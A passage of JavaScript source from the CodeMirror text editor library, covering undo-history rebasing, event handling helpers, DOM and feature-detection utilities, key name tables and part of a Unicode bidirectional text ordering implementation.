(hist.lastModTime == hist.lastSelTime && hist.lastOrigin == origin ||
selectionEventCanBeMerged(doc, origin, lst(hist.done), sel))))
hist.done[hist.done.length - 1] = sel;
else
pushSelectionToHistory(sel, hist.done);
hist.lastSelTime = +new Date;
hist.lastSelOrigin = origin;
hist.lastSelOp = opId;
if (options && options.clearRedo !== false)
clearSelectionEvents(hist.undone);
}
function pushSelectionToHistory(sel, dest) {
var top = lst(dest);
if (!(top && top.ranges && top.equals(sel)))
dest.push(sel);
}
// Used to store marked span information in the history.
function attachLocalSpans(doc, change, from, to) {
var existing = change["spans_" + doc.id], n = 0;
doc.iter(Math.max(doc.first, from), Math.min(doc.first + doc.size, to), function(line) {
if (line.markedSpans)
(existing || (existing = change["spans_" + doc.id] = {}))[n] = line.markedSpans;
++n;
});
}
// When un/re-doing restores text containing marked spans, those
// that have been explicitly cleared should not be restored.
function removeClearedSpans(spans) {
if (!spans) return null;
for (var i = 0, out; i < spans.length; ++i) {
if (spans[i].marker.explicitlyCleared) { if (!out) out = spans.slice(0, i); }
else if (out) out.push(spans[i]);
}
return !out ? spans : out.length ? out : null;
}
// Retrieve and filter the old marked spans stored in a change event.
function getOldSpans(doc, change) {
var found = change["spans_" + doc.id];
if (!found) return null;
for (var i = 0, nw = []; i < change.text.length; ++i)
nw.push(removeClearedSpans(found[i]));
return nw;
}
// Used both to provide a JSON-safe object in .getHistory, and, when
// detaching a document, to split the history in two
function copyHistoryArray(events, newGroup, instantiateSel) {
for (var i = 0, copy = []; i < events.length; ++i) {
var event = events[i];
if (event.ranges) {
copy.push(instantiateSel ? Selection.prototype.deepCopy.call(event) : event);
continue;
}
var changes = event.changes, newChanges = [];
copy.push({changes: newChanges});
for (var j = 0; j < changes.length; ++j) {
var change = changes[j], m;
newChanges.push({from: change.from, to: change.to, text: change.text});
if (newGroup) for (var prop in change) if (m = prop.match(/^spans_(\d+)$/)) {
if (indexOf(newGroup, Number(m[1])) > -1) {
lst(newChanges)[prop] = change[prop];
delete change[prop];
}
}
}
}
return copy;
}
// Rebasing/resetting history to deal with externally-sourced changes
function rebaseHistSelSingle(pos, from, to, diff) {
if (to < pos.line) {
pos.line += diff;
} else if (from < pos.line) {
pos.line = from;
pos.ch = 0;
}
}
// Tries to rebase an array of history events given a change in the
// document. If the change touches the same lines as the event, the
// event, and everything 'behind' it, is discarded. If the change is
// before the event, the event's positions are updated. Uses a
// copy-on-write scheme for the positions, to avoid having to
// reallocate them all on every rebase, but also avoid problems with
// shared position objects being unsafely updated.
function rebaseHistArray(array, from, to, diff) {
for (var i = 0; i < array.length; ++i) {
var sub = array[i], ok = true;
if (sub.ranges) {
if (!sub.copied) { sub = array[i] = sub.deepCopy(); sub.copied = true; }
for (var j = 0; j < sub.ranges.length; j++) {
rebaseHistSelSingle(sub.ranges[j].anchor, from, to, diff);
rebaseHistSelSingle(sub.ranges[j].head, from, to, diff);
}
continue;
}
for (var j = 0; j < sub.changes.length; ++j) {
var cur = sub.changes[j];
if (to < cur.from.line) {
cur.from = Pos(cur.from.line + diff, cur.from.ch);
cur.to = Pos(cur.to.line + diff, cur.to.ch);
} else if (from <= cur.to.line) {
ok = false;
break;
}
}
if (!ok) {
array.splice(0, i + 1);
i = 0;
}
}
}
function rebaseHist(hist, change) {
var from = change.from.line, to = change.to.line, diff = change.text.length - (to - from) - 1;
rebaseHistArray(hist.done, from, to, diff);
rebaseHistArray(hist.undone, from, to, diff);
}
// EVENT UTILITIES
// Due to the fact that we still support jurassic IE versions, some
// compatibility wrappers are needed.
var e_preventDefault = CodeMirror.e_preventDefault = function(e) {
if (e.preventDefault) e.preventDefault();
else e.returnValue = false;
};
var e_stopPropagation = CodeMirror.e_stopPropagation = function(e) {
if (e.stopPropagation) e.stopPropagation();
else e.cancelBubble = true;
};
function e_defaultPrevented(e) {
return e.defaultPrevented != null ? e.defaultPrevented : e.returnValue == false;
}
var e_stop = CodeMirror.e_stop = function(e) {e_preventDefault(e); e_stopPropagation(e);};
function e_target(e) {return e.target || e.srcElement;}
function e_button(e) {
var b = e.which;
if (b == null) {
if (e.button & 1) b = 1;
else if (e.button & 2) b = 3;
else if (e.button & 4) b = 2;
}
if (mac && e.ctrlKey && b == 1) b = 3;
return b;
}
// EVENT HANDLING
// Lightweight event framework. on/off also work on DOM nodes,
// registering native DOM handlers.
var on = CodeMirror.on = function(emitter, type, f) {
if (emitter.addEventListener)
emitter.addEventListener(type, f, false);
else if (emitter.attachEvent)
emitter.attachEvent("on" + type, f);
else {
var map = emitter._handlers || (emitter._handlers = {});
var arr = map[type] || (map[type] = []);
arr.push(f);
}
};
var noHandlers = []
function getHandlers(emitter, type, copy) {
var arr = emitter._handlers && emitter._handlers[type]
if (copy) return arr && arr.length > 0 ? arr.slice() : noHandlers
else return arr || noHandlers
}
var off = CodeMirror.off = function(emitter, type, f) {
if (emitter.removeEventListener)
emitter.removeEventListener(type, f, false);
else if (emitter.detachEvent)
emitter.detachEvent("on" + type, f);
else {
var handlers = getHandlers(emitter, type, false)
for (var i = 0; i < handlers.length; ++i)
if (handlers[i] == f) { handlers.splice(i, 1); break; }
}
};
var signal = CodeMirror.signal = function(emitter, type /*, values...*/) {
var handlers = getHandlers(emitter, type, true)
if (!handlers.length) return;
var args = Array.prototype.slice.call(arguments, 2);
for (var i = 0; i < handlers.length; ++i) handlers[i].apply(null, args);
};
var orphanDelayedCallbacks = null;
// Often, we want to signal events at a point where we are in the
// middle of some work, but don't want the handler to start calling
// other methods on the editor, which might be in an inconsistent
// state or simply not expect any other events to happen.
// signalLater looks whether there are any handlers, and schedules
// them to be executed when the last operation ends, or, if no
// operation is active, when a timeout fires.
function signalLater(emitter, type /*, values...*/) {
var arr = getHandlers(emitter, type, false)
if (!arr.length) return;
var args = Array.prototype.slice.call(arguments, 2), list;
if (operationGroup) {
list = operationGroup.delayedCallbacks;
} else if (orphanDelayedCallbacks) {
list = orphanDelayedCallbacks;
} else {
list = orphanDelayedCallbacks = [];
setTimeout(fireOrphanDelayed, 0);
}
function bnd(f) {return function(){f.apply(null, args);};};
for (var i = 0; i < arr.length; ++i)
list.push(bnd(arr[i]));
}
function fireOrphanDelayed() {
var delayed = orphanDelayedCallbacks;
orphanDelayedCallbacks = null;
for (var i = 0; i < delayed.length; ++i) delayed[i]();
}
// The DOM events that CodeMirror handles can be overridden by
// registering a (non-DOM) handler on the editor for the event name,
// and preventDefault-ing the event in that handler.
function signalDOMEvent(cm, e, override) {
if (typeof e == "string")
e = {type: e, preventDefault: function() { this.defaultPrevented = true; }};
signal(cm, override || e.type, cm, e);
return e_defaultPrevented(e) || e.codemirrorIgnore;
}
function signalCursorActivity(cm) {
var arr = cm._handlers && cm._handlers.cursorActivity;
if (!arr) return;
var set = cm.curOp.cursorActivityHandlers || (cm.curOp.cursorActivityHandlers = []);
for (var i = 0; i < arr.length; ++i) if (indexOf(set, arr[i]) == -1)
set.push(arr[i]);
}
function hasHandler(emitter, type) {
return getHandlers(emitter, type).length > 0
}
// Add on and off methods to a constructor's prototype, to make
// registering events on such objects more convenient.
function eventMixin(ctor) {
ctor.prototype.on = function(type, f) {on(this, type, f);};
ctor.prototype.off = function(type, f) {off(this, type, f);};
}
// MISC UTILITIES
// Number of pixels added to scroller and sizer to hide scrollbar
var scrollerGap = 30;
// Returned or thrown by various protocols to signal 'I'm not
// handling this'.
var Pass = CodeMirror.Pass = {toString: function(){return "CodeMirror.Pass";}};
// Reused option objects for setSelection & friends
var sel_dontScroll = {scroll: false}, sel_mouse = {origin: "*mouse"}, sel_move = {origin: "+move"};
function Delayed() {this.id = null;}
Delayed.prototype.set = function(ms, f) {
clearTimeout(this.id);
this.id = setTimeout(f, ms);
};
// Counts the column offset in a string, taking tabs into account.
// Used mostly to find indentation.
var countColumn = CodeMirror.countColumn = function(string, end, tabSize, startIndex, startValue) {
if (end == null) {
end = string.search(/[^\s\u00a0]/);
if (end == -1) end = string.length;
}
for (var i = startIndex || 0, n = startValue || 0;;) {
var nextTab = string.indexOf("\t", i);
if (nextTab < 0 || nextTab >= end)
return n + (end - i);
n += nextTab - i;
n += tabSize - (n % tabSize);
i = nextTab + 1;
}
};
// The inverse of countColumn -- find the offset that corresponds to
// a particular column.
var findColumn = CodeMirror.findColumn = function(string, goal, tabSize) {
for (var pos = 0, col = 0;;) {
var nextTab = string.indexOf("\t", pos);
if (nextTab == -1) nextTab = string.length;
var skipped = nextTab - pos;
if (nextTab == string.length || col + skipped >= goal)
return pos + Math.min(skipped, goal - col);
col += nextTab - pos;
col += tabSize - (col % tabSize);
pos = nextTab + 1;
if (col >= goal) return pos;
}
}
var spaceStrs = [""];
function spaceStr(n) {
while (spaceStrs.length <= n)
spaceStrs.push(lst(spaceStrs) + " ");
return spaceStrs[n];
}
function lst(arr) { return arr[arr.length-1]; }
var selectInput = function(node) { node.select(); };
if (ios) // Mobile Safari apparently has a bug where select() is broken.
selectInput = function(node) { node.selectionStart = 0; node.selectionEnd = node.value.length; };
else if (ie) // Suppress mysterious IE10 errors
selectInput = function(node) { try { node.select(); } catch(_e) {} };
function indexOf(array, elt) {
for (var i = 0; i < array.length; ++i)
if (array[i] == elt) return i;
return -1;
}
function map(array, f) {
var out = [];
for (var i = 0; i < array.length; i++) out[i] = f(array[i], i);
return out;
}
function insertSorted(array, value, score) {
var pos = 0, priority = score(value)
while (pos < array.length && score(array[pos]) <= priority) pos++
array.splice(pos, 0, value)
}
function nothing() {}
function createObj(base, props) {
var inst;
if (Object.create) {
inst = Object.create(base);
} else {
nothing.prototype = base;
inst = new nothing();
}
if (props) copyObj(props, inst);
return inst;
};
function copyObj(obj, target, overwrite) {
if (!target) target = {};
for (var prop in obj)
if (obj.hasOwnProperty(prop) && (overwrite !== false || !target.hasOwnProperty(prop)))
target[prop] = obj[prop];
return target;
}
function bind(f) {
var args = Array.prototype.slice.call(arguments, 1);
return function(){return f.apply(null, args);};
}
var nonASCIISingleCaseWordChar = /[\u00df\u0587\u0590-\u05f4\u0600-\u06ff\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/;
var isWordCharBasic = CodeMirror.isWordChar = function(ch) {
return /\w/.test(ch) || ch > "\x80" &&
(ch.toUpperCase() != ch.toLowerCase() || nonASCIISingleCaseWordChar.test(ch));
};
function isWordChar(ch, helper) {
if (!helper) return isWordCharBasic(ch);
if (helper.source.indexOf("\\w") > -1 && isWordCharBasic(ch)) return true;
return helper.test(ch);
}
function isEmpty(obj) {
for (var n in obj) if (obj.hasOwnProperty(n) && obj[n]) return false;
return true;
}
// Extending unicode characters. A series of a non-extending char +
// any number of extending chars is treated as a single unit as far
// as editing and measuring is concerned. This is not fully correct,
// since some scripts/fonts/browsers also treat other configurations
// of code points as a group.
var extendingChars = /[\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1\u05c2\u05c4\u05c5\u05c7\u0610-\u061a\u064b-\u065e\u0670\u06d6-\u06dc\u06de-\u06e4\u06e7\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0900-\u0902\u093c\u0941-\u0948\u094d\u0951-\u0955\u0962\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2\u09e3\u0a01\u0a02\u0a3c\u0a41\u0a42\u0a47\u0a48\u0a4b-\u0a4d\u0a51\u0a70\u0a71\u0a75\u0a81\u0a82\u0abc\u0ac1-\u0ac5\u0ac7\u0ac8\u0acd\u0ae2\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55\u0c56\u0c62\u0c63\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc\u0ccd\u0cd5\u0cd6\u0ce2\u0ce3\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb\u0ebc\u0ec8-\u0ecd\u0f18\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86\u0f87\u0f90-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039\u103a\u103d\u103e\u1058\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085\u1086\u108d\u109d\u135f\u1712-\u1714\u1732-\u1734\u1752\u1753\u1772\u1773\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927\u1928\u1932\u1939-\u193b\u1a17\u1a18\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80\u1b81\u1ba2-\u1ba5\u1ba8\u1ba9\u1c2c-\u1c33\u1c36\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1dc0-\u1de6\u1dfd-\u1dff\u200c\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2de0-\u2dff\u302a-\u302f\u3099\u309a\ua66f-\ua672\ua67c\ua67d\ua6f0\ua6f1\ua802\ua806\ua80b\ua825\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\uaa29-\uaa2e\uaa31\uaa32\uaa35\uaa36\uaa43\uaa4c\uaab0\uaab2-\uaab4\uaab7\uaab8\uaabe\uaabf\uaac1\uabe5\uabe8\uabed\udc00-\udfff\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e\uff9f]/;
function isExtendingChar(ch) { return ch.charCodeAt(0) >= 768 && extendingChars.test(ch); }
// DOM UTILITIES
function elt(tag, content, className, style) {
var e = document.createElement(tag);
if (className) e.className = className;
if (style) e.style.cssText = style;
if (typeof content == "string") e.appendChild(document.createTextNode(content));
else if (content) for (var i = 0; i < content.length; ++i) e.appendChild(content[i]);
return e;
}
var range;
if (document.createRange) range = function(node, start, end, endNode) {
var r = document.createRange();
r.setEnd(endNode || node, end);
r.setStart(node, start);
return r;
};
else range = function(node, start, end) {
var r = document.body.createTextRange();
try { r.moveToElementText(node.parentNode); }
catch(e) { return r; }
r.collapse(true);
r.moveEnd("character", end);
r.moveStart("character", start);
return r;
};
function removeChildren(e) {
for (var count = e.childNodes.length; count > 0; --count)
e.removeChild(e.firstChild);
return e;
}
function removeChildrenAndAdd(parent, e) {
return removeChildren(parent).appendChild(e);
}
var contains = CodeMirror.contains = function(parent, child) {
if (child.nodeType == 3) // Android browser always returns false when child is a textnode
child = child.parentNode;
if (parent.contains)
return parent.contains(child);
do {
if (child.nodeType == 11) child = child.host;
if (child == parent) return true;
} while (child = child.parentNode);
};
function activeElt() {
var activeElement = document.activeElement;
while (activeElement && activeElement.root && activeElement.root.activeElement)
activeElement = activeElement.root.activeElement;
return activeElement;
}
// Older versions of IE throws unspecified error when touching
// document.activeElement in some cases (during loading, in iframe)
if (ie && ie_version < 11) activeElt = function() {
try { return document.activeElement; }
catch(e) { return document.body; }
};
function classTest(cls) { return new RegExp("(^|\\s)" + cls + "(?:$|\\s)\\s*"); }
var rmClass = CodeMirror.rmClass = function(node, cls) {
var current = node.className;
var match = classTest(cls).exec(current);
if (match) {
var after = current.slice(match.index + match[0].length);
node.className = current.slice(0, match.index) + (after ? match[1] + after : "");
}
};
var addClass = CodeMirror.addClass = function(node, cls) {
var current = node.className;
if (!classTest(cls).test(current)) node.className += (current ? " " : "") + cls;
};
function joinClasses(a, b) {
var as = a.split(" ");
for (var i = 0; i < as.length; i++)
if (as[i] && !classTest(as[i]).test(b)) b += " " + as[i];
return b;
}
// WINDOW-WIDE EVENTS
// These must be handled carefully, because naively registering a
// handler for each editor will cause the editors to never be
// garbage collected.
function forEachCodeMirror(f) {
if (!document.body.getElementsByClassName) return;
var byClass = document.body.getElementsByClassName("CodeMirror");
for (var i = 0; i < byClass.length; i++) {
var cm = byClass[i].CodeMirror;
if (cm) f(cm);
}
}
var globalsRegistered = false;
function ensureGlobalHandlers() {
if (globalsRegistered) return;
registerGlobalHandlers();
globalsRegistered = true;
}
function registerGlobalHandlers() {
// When the window resizes, we need to refresh active editors.
var resizeTimer;
on(window, "resize", function() {
if (resizeTimer == null) resizeTimer = setTimeout(function() {
resizeTimer = null;
forEachCodeMirror(onResize);
}, 100);
});
// When the window loses focus, we want to show the editor as blurred
on(window, "blur", function() {
forEachCodeMirror(onBlur);
});
}
// FEATURE DETECTION
// Detect drag-and-drop
var dragAndDrop = function() {
// There is *some* kind of drag-and-drop support in IE6-8, but I
// couldn't get it to work yet.
if (ie && ie_version < 9) return false;
var div = elt('div');
return "draggable" in div || "dragDrop" in div;
}();
var zwspSupported;
function zeroWidthElement(measure) {
if (zwspSupported == null) {
var test = elt("span", "\u200b");
removeChildrenAndAdd(measure, elt("span", [test, document.createTextNode("x")]));
if (measure.firstChild.offsetHeight != 0)
zwspSupported = test.offsetWidth <= 1 && test.offsetHeight > 2 && !(ie && ie_version < 8);
}
var node = zwspSupported ? elt("span", "\u200b") :
elt("span", "\u00a0", null, "display: inline-block; width: 1px; margin-right: -1px");
node.setAttribute("cm-text", "");
return node;
}
// Feature-detect IE's crummy client rect reporting for bidi text
var badBidiRects;
function hasBadBidiRects(measure) {
if (badBidiRects != null) return badBidiRects;
var txt = removeChildrenAndAdd(measure, document.createTextNode("A\u062eA"));
var r0 = range(txt, 0, 1).getBoundingClientRect();
var r1 = range(txt, 1, 2).getBoundingClientRect();
removeChildren(measure);
if (!r0 || r0.left == r0.right) return false; // Safari returns null in some cases (#2780)
return badBidiRects = (r1.right - r0.right < 3);
}
// See if "".split is the broken IE version, if so, provide an
// alternative way to split lines.
var splitLinesAuto = CodeMirror.splitLines = "\n\nb".split(/\n/).length != 3 ? function(string) {
var pos = 0, result = [], l = string.length;
while (pos <= l) {
var nl = string.indexOf("\n", pos);
if (nl == -1) nl = string.length;
var line = string.slice(pos, string.charAt(nl - 1) == "\r" ? nl - 1 : nl);
var rt = line.indexOf("\r");
if (rt != -1) {
result.push(line.slice(0, rt));
pos += rt + 1;
} else {
result.push(line);
pos = nl + 1;
}
}
return result;
} : function(string){return string.split(/\r\n?|\n/);};
var hasSelection = window.getSelection ? function(te) {
try { return te.selectionStart != te.selectionEnd; }
catch(e) { return false; }
} : function(te) {
try {var range = te.ownerDocument.selection.createRange();}
catch(e) {}
if (!range || range.parentElement() != te) return false;
return range.compareEndPoints("StartToEnd", range) != 0;
};
var hasCopyEvent = (function() {
var e = elt("div");
if ("oncopy" in e) return true;
e.setAttribute("oncopy", "return;");
return typeof e.oncopy == "function";
})();
var badZoomedRects = null;
function hasBadZoomedRects(measure) {
if (badZoomedRects != null) return badZoomedRects;
var node = removeChildrenAndAdd(measure, elt("span", "x"));
var normal = node.getBoundingClientRect();
var fromRange = range(node, 0, 1).getBoundingClientRect();
return badZoomedRects = Math.abs(normal.left - fromRange.left) > 1;
}
// KEY NAMES
var keyNames = CodeMirror.keyNames = {
3: "Enter", 8: "Backspace", 9: "Tab", 13: "Enter", 16: "Shift", 17: "Ctrl", 18: "Alt",
19: "Pause", 20: "CapsLock", 27: "Esc", 32: "Space", 33: "PageUp", 34: "PageDown", 35: "End",
36: "Home", 37: "Left", 38: "Up", 39: "Right", 40: "Down", 44: "PrintScrn", 45: "Insert",
46: "Delete", 59: ";", 61: "=", 91: "Mod", 92: "Mod", 93: "Mod",
106: "*", 107: "=", 109: "-", 110: ".", 111: "/", 127: "Delete",
173: "-", 186: ";", 187: "=", 188: ",", 189: "-", 190: ".", 191: "/", 192: "`", 219: "[", 220: "\\",
221: "]", 222: "'", 63232: "Up", 63233: "Down", 63234: "Left", 63235: "Right", 63272: "Delete",
63273: "Home", 63275: "End", 63276: "PageUp", 63277: "PageDown", 63302: "Insert"
};
(function() {
// Number keys
for (var i = 0; i < 10; i++) keyNames[i + 48] = keyNames[i + 96] = String(i);
// Alphabetic keys
for (var i = 65; i <= 90; i++) keyNames[i] = String.fromCharCode(i);
// Function keys
for (var i = 1; i <= 12; i++) keyNames[i + 111] = keyNames[i + 63235] = "F" + i;
})();
// BIDI HELPERS
function iterateBidiSections(order, from, to, f) {
if (!order) return f(from, to, "ltr");
var found = false;
for (var i = 0; i < order.length; ++i) {
var part = order[i];
if (part.from < to && part.to > from || from == to && part.to == from) {
f(Math.max(part.from, from), Math.min(part.to, to), part.level == 1 ? "rtl" : "ltr");
found = true;
}
}
if (!found) f(from, to, "ltr");
}
function bidiLeft(part) { return part.level % 2 ? part.to : part.from; }
function bidiRight(part) { return part.level % 2 ? part.from : part.to; }
function lineLeft(line) { var order = getOrder(line); return order ? bidiLeft(order[0]) : 0; }
function lineRight(line) {
var order = getOrder(line);
if (!order) return line.text.length;
return bidiRight(lst(order));
}
function lineStart(cm, lineN) {
var line = getLine(cm.doc, lineN);
var visual = visualLine(line);
if (visual != line) lineN = lineNo(visual);
var order = getOrder(visual);
var ch = !order ? 0 : order[0].level % 2 ? lineRight(visual) : lineLeft(visual);
return Pos(lineN, ch);
}
function lineEnd(cm, lineN) {
var merged, line = getLine(cm.doc, lineN);
while (merged = collapsedSpanAtEnd(line)) {
line = merged.find(1, true).line;
lineN = null;
}
var order = getOrder(line);
var ch = !order ? line.text.length : order[0].level % 2 ? lineLeft(line) : lineRight(line);
return Pos(lineN == null ? lineNo(line) : lineN, ch);
}
function lineStartSmart(cm, pos) {
var start = lineStart(cm, pos.line);
var line = getLine(cm.doc, start.line);
var order = getOrder(line);
if (!order || order[0].level == 0) {
var firstNonWS = Math.max(0, line.text.search(/\S/));
var inWS = pos.line == start.line && pos.ch <= firstNonWS && pos.ch;
return Pos(start.line, inWS ? 0 : firstNonWS);
}
return start;
}
function compareBidiLevel(order, a, b) {
var linedir = order[0].level;
if (a == linedir) return true;
if (b == linedir) return false;
return a < b;
}
var bidiOther;
function getBidiPartAt(order, pos) {
bidiOther = null;
for (var i = 0, found; i < order.length; ++i) {
var cur = order[i];
if (cur.from < pos && cur.to > pos) return i;
if ((cur.from == pos || cur.to == pos)) {
if (found == null) {
found = i;
} else if (compareBidiLevel(order, cur.level, order[found].level)) {
if (cur.from != cur.to) bidiOther = found;
return i;
} else {
if (cur.from != cur.to) bidiOther = i;
return found;
}
}
}
return found;
}
function moveInLine(line, pos, dir, byUnit) {
if (!byUnit) return pos + dir;
do pos += dir;
while (pos > 0 && isExtendingChar(line.text.charAt(pos)));
return pos;
}
// This is needed in order to move 'visually' through bi-directional
// text -- i.e., pressing left should make the cursor go left, even
// when in RTL text. The tricky part is the 'jumps', where RTL and
// LTR text touch each other. This often requires the cursor offset
// to move more than one unit, in order to visually move one unit.
function moveVisually(line, start, dir, byUnit) {
var bidi = getOrder(line);
if (!bidi) return moveLogically(line, start, dir, byUnit);
var pos = getBidiPartAt(bidi, start), part = bidi[pos];
var target = moveInLine(line, start, part.level % 2 ? -dir : dir, byUnit);
for (;;) {
if (target > part.from && target < part.to) return target;
if (target == part.from || target == part.to) {
if (getBidiPartAt(bidi, target) == pos) return target;
part = bidi[pos += dir];
return (dir > 0) == part.level % 2 ? part.to : part.from;
} else {
part = bidi[pos += dir];
if (!part) return null;
if ((dir > 0) == part.level % 2)
target = moveInLine(line, part.to, -1, byUnit);
else
target = moveInLine(line, part.from, 1, byUnit);
}
}
}
function moveLogically(line, start, dir, byUnit) {
var target = start + dir;
if (byUnit) while (target > 0 && isExtendingChar(line.text.charAt(target))) target += dir;
return target < 0 || target > line.text.length ? null : target;
}
// Bidirectional ordering algorithm
// See http://unicode.org/reports/tr9/tr9-13.html for the algorithm
// that this (partially) implements.
// One-char codes used for character types:
// L (L): Left-to-Right
// R (R): Right-to-Left
// r (AL): Right-to-Left Arabic
// 1 (EN): European Number
// + (ES): European Number Separator
// % (ET): European Number Terminator
// n (AN): Arabic Number
// , (CS): Common Number Separator
// m (NSM): Non-Spacing Mark
// b (BN): Boundary Neutral
// s (B): Paragraph Separator
// t (S): Segment Separator
// w (WS): Whitespace
// N (ON): Other Neutrals
// Returns null if characters are ordered as they appear
// (left-to-right), or an array of sections ({from, to, level}
// objects) in the order in which they occur visually.
var bidiOrdering = (function() {
// Character types for codepoints 0 to 0xff
var lowTypes = "bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLN";
// Character types for codepoints 0x600 to 0x6ff
var arabicTypes = "rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmm";
function charType(code) {
if (code <= 0xf7) return lowTypes.charAt(code);
else if (0x590 <= code && code <= 0x5f4) return "R";
else if (0x600 <= code && code <= 0x6ed) return arabicTypes.charAt(code - 0x600);
else if (0x6ee <= code && code <= 0x8ac) return "r";
else if (0x2000 <= code && code <= 0x200b) return "w";
else if (code == 0x200c) return "b";
else return "L";
}
var bidiRE = /[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;
var isNeutral = /[stwN]/, isStrong = /[LRr]/, countsAsLeft = /[Lb1n]/, countsAsNum = /[1n]/;
// Browsers seem to always treat the boundaries of block elements as being L.
var outerType = "L";
function BidiSpan(level, from, to) {
this.level = level;
this.from = from; this.to = to;
}
return function(str) {
if (!bidiRE.test(str)) return false;
var len = str.length, types = [];
for (var i = 0, type; i < len; ++i)
types.push(type = charType(str.charCodeAt(i)));
// W1. Examine each non-spacing mark (NSM) in the level run, and
// change the type of the NSM to the type of the previous
// character. If the NSM is at the start of the level run, it will
// get the type of sor.
for (var i = 0, prev = outerType; i < len; ++i) {
var type = types[i];
if (type == "m") types[i] = prev;
else prev = type;
}
// W2. Search backwards from each instance of a European number
// until the first strong type (R, L, AL, or sor) is found. If an
// AL is found, change the type of the European number to Arabic
// number.
// W3. Change all ALs to R.
for (var i = 0, cur = outerType; i < len; ++i) {
var type = types[i];
if (type == "1" && cur == "r") types[i] = "n";
else if (isStrong.test(type)) { cur = type; if (type == "r") types[i] = "R"; }
}
// W4. A single European separator between two European numbers
// changes to a European number. A single common separator between
// two numbers of the same type changes to that type.
for (var i = 1, prev = types[0]; i < len - 1; ++i) {
var type = types[i];
if (type == "+" && prev == "1" && types[i+1] == "1") types[i] = "1";
else if (type == "," && prev == types[i+1] &&
(prev == "1" || prev == "n")) types[i] = prev;
prev = type;
}
// W5. A sequence of European terminators adjacent to European
// numbers changes to all European numbers.
// W6. Otherwise, separators and terminators change to Other
// Neutral.
for (var i = 0; i < len; ++i) {
var type = types[i];
if (type == ",") types[i] = "N";
else if (type == "%") {
for (var end = i + 1; end < len && types[end] == "%"; ++end) {}
var replace = (i && types[i-1] == "!") || (end < len && types[end] == "1") ? "1" : "N";
for (var j = i; j < end; ++j) types[j] = replace;
i = end - 1;
}
}
// W7. Search backwards from each instance of a European number
// until the first strong type (R, L, or sor) is found. If an L is
// found, then change the type of the European number to L.
for (var i = 0, cur = outerType; i < len; ++i) {
var type = types[i];
if (cur == "L" && type == "1") types[i] = "L";
else if (isStrong.test(type)) cur = type;
}
// N1. A sequence of neutrals takes the direction of the
// surrounding strong text if the text on both sides has the same
// direction. European and Arabic numbers act as if they were R in
// terms of their influence on neutrals. Start-of-level-run (sor)
// and end-of-level-run (eor) are used at level run boundaries.
// N2. Any remaining neutrals take the embedding direction.
for (var i = 0; i < len; ++i) {
if (isNeutral.test(types[i])) {
for (var end = i + 1; end < len && isNeutral.test(types[end]); ++end) {}
var before = (i ? types[i-1] : outerType) == "L";
var after = (end < len ? types[end] : outerType) == "L";
var replace = before || after ? "L" : "R";
for (var j = i; j < end; ++j) types[j] = replace;
i = end - 1;
}
}
// Here we depart from the documented algorithm, in order to avoid
// building up an actual levels array. Since there are only three
// levels (0, 1, 2) in an implementation that doesn't take
// explicit embedding into account, we can build up the order on
// the fly, without following the level-based algorithm.
var order = [], m;
for (var i = 0; i < len;) {
if (countsAsLeft.test(types[i])) {
var start = i;
for (++i; i < len && countsAsLeft.test(types[i]); ++i) {}
order.push(new BidiSpan(0, start, i));
} else {
var pos = i, at = order.length;
for (++i; i < len && types[i] != "L"; ++i) {}
for (var j = pos; j < i;) {
if (countsAsNum.test(types[j])) {
if (pos < j) order.splice(at, 0, new BidiSpan(1, pos, j));
var nstart = j;
for (++j; j < i && countsAsNum.test(types[j]); ++j) {}
order.splice(at, 0, new BidiSpan(2, nstart, j));
pos = j;
} else ++j;
}
if (pos < i) order.splice(at, 0, new BidiSpan(1, pos, i));
}
}
if (order[0].level == 1 && (m = str.match(/^\s+/))) {
order[0].from = m[0].length;
order.unshift(new BidiSpan(0, 0, m[0].length));
}
